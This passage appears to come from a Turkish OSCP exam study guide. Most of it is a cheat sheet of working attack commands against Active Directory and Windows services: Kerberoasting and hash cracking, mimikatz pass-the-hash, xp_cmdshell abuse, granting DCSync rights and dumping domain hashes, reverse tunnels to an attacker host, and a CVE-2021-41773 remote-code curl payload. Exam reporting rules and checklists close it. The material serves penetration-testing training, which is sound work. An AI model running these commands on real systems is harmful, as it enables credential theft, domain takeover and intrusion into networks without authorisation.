echo "$DC dc01.$DOMAIN $DOMAIN dc01" | sudo tee -a /etc/hosts
# Subnetteki makineler
nxc smb 10.10.x.0/24
# Kullanıcıyı her yerde dene
nxc smb 10.10.x.0/24 -u $USER -p $PASS
nxc winrm 10.10.x.0/24 -u $USER -p $PASS
nxc rdp 10.10.x.0/24 -u $USER -p $PASS
nxc mssql 10.10.x.0/24 -u $USER -p $PASS
# Domain verisi
nxc smb $DC -u $USER -p $PASS --users --groups --shares --pass-pol
nxc ldap $DC -u $USER -p $PASS --users-export users.txt # sadece kullanıcı adları
nxc smb 10.10.x.0/24 -u $USER -p $PASS -M spider_plus # tüm share'lerdeki dosyalar
Kullanıcı açıklama alanları (description) ve SYSVOL içindeki script'ler sık sık parola içerir.
10.3 BloodHound
# Kali'den toplama
bloodhound-ce-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c All --zip # BloodHound CE için
# (BloodHound Legacy kullanıyorsan: bloodhound-python. Toplayıcı ile arayüz sürümü UYUMLU olmalı.)
nxc ldap $DC -u $USER -p $PASS --bloodhound -c All --dns-server $DC
# Hedef Windows'tan
.\SharpHound.exe -c All --zipfilename bh.zip
Bakılacak sorgular: Shortest paths to Domain Admins, Shortest paths from Owned principals, Kerberoastable users, AS-REP roastable users, sahip olduğun kullanıcının Outbound Object Control'ü, Find computers where Domain Users are local admin, Users with sessions.
10.4 PowerView / yerleşik araçlarla enum (hedef üzerinden)
. .\PowerView.ps1
Get-DomainUser | select samaccountname,description,memberof
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Get-DomainUser -PreauthNotRequired | select samaccountname
Get-DomainGroupMember "Domain Admins" -Recurse | select MemberName
Get-DomainComputer | select dnshostname,operatingsystem
Find-LocalAdminAccess # bu kullanıcı nerede yerel admin?
Get-NetSession -ComputerName <host> # kim nerede oturum açmış
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "$env:USERNAME"}
Get-DomainObjectAcl -Identity <hedef> -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner"}
# Araçsız
net user /domain ; net group "Domain Admins" /domain ; net accounts /domain
10.5 Kerberoasting ve AS-REP roasting
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -outputfile kerb.txt
impacket-GetNPUsers $DOMAIN/$USER:$PASS -dc-ip $DC -request -format hashcat -outputfile asrep.txt
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat # kimliksiz
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
.\Rubeus.exe kerberoast /outfile:kerb.txt /nowrap
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap
10.6 Yatay hareket
| Yöntem | Gereken | Komut |
|---|---|---|
| PsExec | Yerel admin, SMB, ADMIN$ yazılabilir | impacket-psexec $DOMAIN/$USER:$PASS@$IP |
| WMIExec | Yerel admin, 135 + yüksek portlar | impacket-wmiexec -hashes :<NTLM> $DOMAIN/$USER@$IP |
| SMBExec / ATExec | Yerel admin | impacket-smbexec ... / impacket-atexec ... whoami |
| WinRM | Remote Management Users veya admin | evil-winrm -i $IP -u $USER -p $PASS / -H <NTLM> |
| RDP | Remote Desktop Users | xfreerdp3 /v:$IP /u:$USER /p:$PASS /d:$DOMAIN /cert:ignore |
| RDP + hash | Restricted Admin açık | xfreerdp3 /v:$IP /u:$USER /pth:<NTLM> /cert:ignore |
| nxc tek komut | admin | nxc smb $IP -u $USER -H <NTLM> -x "whoami" |
| MSSQL | DB erişimi | impacket-mssqlclient ... -windows-auth |
Windows'tan Windows'a (araç taşıyamıyorsan):
winrs -r:files04 -u:$USER -p:$PASS "cmd /c whoami"
$cred = New-Object System.Management.Automation.PSCredential('CORP\user',(ConvertTo-SecureString 'Pass' -AsPlainText -Force))
Enter-PSSession -ComputerName files04 -Credential $cred
.\PsExec64.exe -accepteula \\files04 -u corp\user -p Pass cmd
Overpass-the-hash / Pass-the-ticket:
impacket-getTGT $DOMAIN/$USER -hashes :<NTLM> -dc-ip $DC
export KRB5CCNAME=$PWD/$USER.ccache
impacket-psexec -k -no-pass $DOMAIN/$USER@host.$DOMAIN # IP değil, FQDN kullan
.\mimikatz.exe "sekurlsa::pth /user:jen /domain:corp.com /ntlm:<NTLM> /run:powershell" "exit"
.\mimikatz.exe "sekurlsa::tickets /export" "exit" ; .\mimikatz.exe "kerberos::ptt <ticket.kirbi>" "exit"
10.7 MSSQL
SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');
-- impacket-mssqlclient içinde kısayollar: enable_xp_cmdshell / xp_cmdshell whoami
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv'; -- servis hesabı → SeImpersonate → Potato
-- Kimlik taklidi
SELECT distinct b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';
EXECUTE AS LOGIN = 'sa';
-- Bağlı sunucular
SELECT srvname FROM sysservers; EXEC ('xp_cmdshell ''whoami''') AT [SQL02];
-- Servis hesabının NetNTLMv2'sini yakala (Kali'de: impacket-smbserver share . -smb2support)
EXEC xp_dirtree '\\LHOST\share';
10.8 ACL istismarı (BloodHound kenarları)
| Kenar (hedef üzerinde) | Saldırı |
|---|---|
| ForceChangePassword | Parolasını değiştir |
| GenericAll (kullanıcı) | Parola değiştir / SPN ekle → kerberoast |
| GenericAll / AddMember (grup) | Kendini gruba ekle |
| GenericWrite (kullanıcı) | SPN ekle (targeted kerberoast) |
| WriteDACL (domain) | Kendine DCSync hakkı ver |
| WriteOwner | Sahibi ol → kendine GenericAll ver |
| ReadLAPSPassword | Makinenin yerel admin parolasını oku |
| ReadGMSAPassword | gMSA hesabının NT hash'ini oku |
# bloodyAD (Kali'den, çok pratik)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password <hedef> 'NewPass123!'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember '<grup>' $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add dcsync $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set owner <hedef> $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll <hedef> $USER
# Alternatif
net rpc password '<hedef>' 'NewPass123!' -U "$DOMAIN/$USER%$PASS" -S $DC
# Targeted kerberoast (GenericWrite)
python3 targetedKerberoast.py -d $DOMAIN -u $USER -p $PASS --dc-ip $DC
# LAPS / gMSA
nxc ldap $DC -u $USER -p $PASS -M laps
nxc ldap $DC -u $USER -p $PASS --gmsa
# PowerView karşılıkları
Set-DomainUserPassword -Identity <hedef> -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
Add-DomainGroupMember -Identity '<grup>' -Members $env:USERNAME
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity $env:USERNAME -Rights DCSync
Set-DomainObject -Identity <hedef> -Set @{serviceprincipalname='x/y'}
Grup üyeliği eklendikten sonra
Yeni grup üyeliği mevcut oturumun token'ına yansımaz: yeniden giriş yap (yeni evil-winrm / yeni TGT).
10.9 Domain Admin ve kanıt
impacket-secretsdump $DOMAIN/<DA kullanıcısı>:<parola>@$DC -just-dc-user Administrator # DCSync
impacket-psexec $DOMAIN/Administrator@$DC -hashes :<NTLM>
evil-winrm -i $DC -u Administrator -H <NTLM>
DC'de kanıt (aynı karede):
hostname; whoami; ipconfig | findstr IPv4; type C:\Users\Administrator\Desktop\proof.txt
Silver/Golden ticket, DCSync sonrası kalıcılık vb. sınav puanı getirmez; DA'ya ulaştıysan kanıtı al ve devam et.
10.10 İleri seviye (PEN-200 müfredatı dışı — sadece kısa not)
Sınav AD setleri genelde 10.1'deki yollarla çözülür. Aşağıdakiler gerçek hayatta ve HTB'de sık; lab'da gördüğünde hatırla:
- ADCS:
certipy-ad find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -vulnerable -stdout→ ESC1:certipy-ad req ... -template <T> -upn administrator@$DOMAIN→certipy-ad auth -pfx administrator.pfx - Shadow Credentials (GenericWrite/AddKeyCredentialLink):
certipy-ad shadow auto -u $USER@$DOMAIN -p $PASS -account <hedef> - RBCD / Constrained / Unconstrained delegation:
impacket-findDelegation $DOMAIN/$USER:$PASS -dc-ip $DC - NTLM relay + coercion (PetitPotam, PrinterBug): coercion spoofing değildir ama Responder ile poisoning sınavda yasaktır.
10.11 AD'de sık yapılan hatalar
- Verilen kullanıcıyı tüm makinelerde ve tüm protokollerde denememek.
- Yerel admin olunan makinede mimikatz/secretsdump çalıştırmamak (bir sonraki adımın anahtarı oradadır).
- Bulunan yerel admin hash'ini
--local-authile diğer makinelerde denememek. - Kerberos hatası (
KRB_AP_ERR_SKEW) → saat;KDC_ERR_S_PRINCIPAL_UNKNOWN→ IP yerine FQDN kullan. - AD'de 3–4 saat ilerleme yoksa bağımsız makinelere geç, sonra taze kafayla dön.
11. Pivoting
11.1 Ne zaman
ip a / ipconfig çıktısında ikinci bir ağ kartı, ss -tlnp / netstat -ano'da sadece 127.0.0.1'de dinleyen servis veya AD setinde doğrudan erişemediğin makineler.
11.2 Ligolo-ng (önerilen — proxychains gerektirmez)
# Kali
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
# Hedef (Linux / Windows)
./agent -connect LHOST:11601 -ignore-cert
.\agent.exe -connect LHOST:11601 -ignore-cert
# ligolo konsolunda (v0.6+)
session → ajanı seç
ifconfig → hedefin ağlarını gör
interface_create --name ligolo
interface_add_route --name ligolo --route 10.10.20.0/24
tunnel_start --tun ligolo
# İç ağdaki makineden reverse shell almak için ajan üzerinde dinleyici:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:443 --tcp
Artık nmap -sT -Pn 10.10.20.10, nxc smb 10.10.20.0/24 doğrudan çalışır. İç makinede reverse shell için LHOST = pivot makinenin iç IP'si, port 4444.
Pivot makinenin kendi 127.0.0.1 servisleri: özel adres 240.0.0.1 (route ekle: --route 240.0.0.1/32).
(Eski sürüm ligolo kullanıyorsan: sudo ip tuntap add user $(whoami) mode tun ligolo; sudo ip link set ligolo up; sudo ip route add 10.10.20.0/24 dev ligolo ve konsolda start.)
11.3 Chisel (SOCKS + proxychains)
./chisel server -p 8000 --reverse # Kali
./chisel client LHOST:8000 R:socks # hedef → Kali'de 127.0.0.1:1080 SOCKS5
./chisel client LHOST:8000 R:8080:127.0.0.1:8080 # tek port: hedefin localhost:8080'i → Kali:8080
# /etc/proxychains4.conf son satır: socks5 127.0.0.1 1080
proxychains4 -q nmap -sT -Pn -p 21,22,80,135,139,445,1433,3389,5985 10.10.20.10
proxychains4 -q nxc smb 10.10.20.0/24 -u $USER -p $PASS
11.4 SSH
ssh -L 8080:127.0.0.1:8080 user@$IP # hedefin localhost:8080 → Kali:8080
ssh -L 4455:10.10.20.10:445 user@$IP # iç makine:445 → Kali:4455
ssh -D 1080 -N user@$IP # dinamik SOCKS
ssh -R 1080 -N kali@LHOST # hedeften Kali'ye ters dinamik (Kali'de sshd açık olmalı)
sshuttle -r user@$IP 10.10.20.0/24 # VPN benzeri
11.5 Windows yerleşik / araç taşıyamıyorsan
netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.20.10
netsh advfirewall firewall add rule name="p" dir=in action=allow protocol=TCP localport=4455
plink.exe -ssh -l kali -pw <pw> -R 127.0.0.1:9833:127.0.0.1:3389 LHOST
Linux'ta tek port: socat TCP-LISTEN:4455,fork TCP:10.10.20.10:445 &
Proxychains ile nmap: sadece -sT -Pn, dar port listesi, --max-retries 1. ICMP/UDP geçmez.
12. Rapor
12.1 Teslim kuralları
- Format: Tek PDF, .7z arşiv içinde. Arşiv şifresiz ve en fazla 200 MB. Arşivde PDF dışında dosya olmaz: script ve PoC'ler PDF'in içine metin olarak konur.
- Dosya adları (büyük/küçük harf duyarlı):
OSCP-OS-XXXXX-Exam-Report.pdfveOSCP-OS-XXXXX-Exam-Report.7z(XXXXX = OSID'in). - Yükleme: Sınav bittikten sonra 24 saat içinde
https://upload.offsec.com. "Submit File"a basmadan önce sitenin gösterdiği MD5'i kendi dosyanınkiyle (md5sum) karşılaştır. Gönderim kesindir, sonradan düzeltilemez. - Makine sırası: Makineler raporda göründükleri sırayla notlandırılır.
- Şablon: OffSec'in Word / OpenOffice şablonu ya da yapılı ve profesyonel olduğu sürece kendi şablonun.
- Dil: Kılavuz bir dil şartı belirtmiyor. Notlandırıcılar uluslararası olduğu için İngilizce yazmak en güvenli tercih; Türkçe düşünüyorsan önce OffSec desteğine sor.
- Değiştirdiğin public exploit'i rapora ekle (değişiklikleri vurgula + orijinal kaynak linki).
- Rapor yazarken de AI/LLM kullanmak yasak.
Araç: OffSec şablonu (Word) ya da Markdown → PDF (noraj/OSCP-Exam-Report-Template-Markdown, pandoc + eisvogel). Şablonu sınavdan önce kur ve bir lab makinesiyle deneme raporu üret.
12.2 Yapı
1. High-Level Summary (hangi makineler, hangi seviyede, kısa öneriler)
2. Methodology (information gathering, exploitation, privesc — kısa)
3. Active Directory Set (makine makine, AD kanıtları)
4. Standalone Machines (her biri ayrı alt bölüm)
x.1 Service Enumeration (nmap özet tablosu)
x.2 Initial Access (zafiyet, CVE + link, adım adım komutlar, ekran görüntüleri)
x.3 Privilege Escalation (adım adım)
x.4 Proof (local.txt / proof.txt ekran görüntüsü)
5. Appendix (değiştirilmiş exploit kodları)
12.3 Her adım için kalıp
**Step 3 — Exploiting Apache 2.4.49 path traversal (CVE-2021-41773)**
The CGI directory allowed path traversal to /bin/sh, giving remote command execution:
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' \
"http://192.168.50.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Output (Figure 7): uid=1(daemon) gid=1(daemon)
Kurallar: her komut kopyalanıp çalıştırılabilir olsun; "then I got root" gibi atlama yok; her ekran görüntüsüne numara ve tek cümle açıklama; exploit adına CVE ve kaynak linki.
12.4 24 saatlik rapor planı
| Saat | İş |
|---|---|
| 0–3 | Uyu (sınavdan hemen sonra) |
| 3–5 | Şablonu doldur: başlıklar, nmap tabloları, ekran görüntülerini yerleştir |
| 5–10 | Makine bölümleri — komut + çıktı + figür |
| 10–11 | Özet, metodoloji |
| 11–13 | Baştan sona oku: her flag panelde mi, her komut doğru mu, IP'ler doğru mu |
| 13–14 | PDF → 7z → yükle → MD5 kontrol → onay e-postasını sakla |
Ekler
Ek A — Sınav günü tek sayfa
[ ] Kimlik, temiz masa, webcam, ekran paylaşımı (gözetmen) [ ] VPN + tun0 IP → vars.sh
[ ] tmux: 0 http.server 1 listener 2 komut 3 notlar [ ] script ile terminal kaydı
[ ] Panelden makine listesi + AD kimlik bilgileri not edildi
[ ] Metasploit/Meterpreter'ı hangi makinede kullanacağına karar ver (en fazla 1; `check` da kullanım sayılır)
[ ] Her makine: nmap -p- → -sC -sV → UDP 50 → web keşfi
[ ] Her shell: TTY → ilk 10 dk haritası → kimlik avı
[ ] Her kimlik: reuse matrisi (2.5) + nxc ile tüm ağ
[ ] Her flag: etkileşimli kabuk + IP + whoami + hostname aynı karede → PANELE GİR
[ ] 30 dakika kuralı [ ] 03:00–07:00 uyku
[ ] Son 90 dk: tüm kanıt + notlar tam mı?
Ek B — Hızlı kanıt komutları
hostname; id; ip a | grep inet; cat local.txt # Linux
hostname; whoami; ipconfig | findstr IPv4; type local.txt # Windows PowerShell
Ek C — Kaynaklar
| Kaynak | Ne için |
|---|---|
| OffSec OSCP+ Exam Guide, Exam FAQ, Equated Scaled Scoring FAQ, Proctoring FAQ | Güncel kurallar (her şeyin üstünde) — help.offsec.com |
| GTFOBins / LOLBAS | Linux / Windows binary istismarı |
| HackTricks / PayloadsAllTheThings | Servis ve web teknikleri |
| The Hacker Recipes | AD saldırıları (ACL, Kerberos, ADCS) |
| SecLists | Wordlist |
| TJnull / LainKusanagi OSCP listeleri | PG Practice / HTB pratik makine listeleri |
| PEN-200 Challenge Labs (OSCP A/B/C) | Sınav formatına en yakın pratik |
| IppSec videoları (ippsec.rocks) | Teknik arama, çözüm düşüncesi |
Bu belge bir komut listesi değil, bir karar sistemi. Takıldığında komutu değil, hangi bilgiyi henüz toplamadığını sor.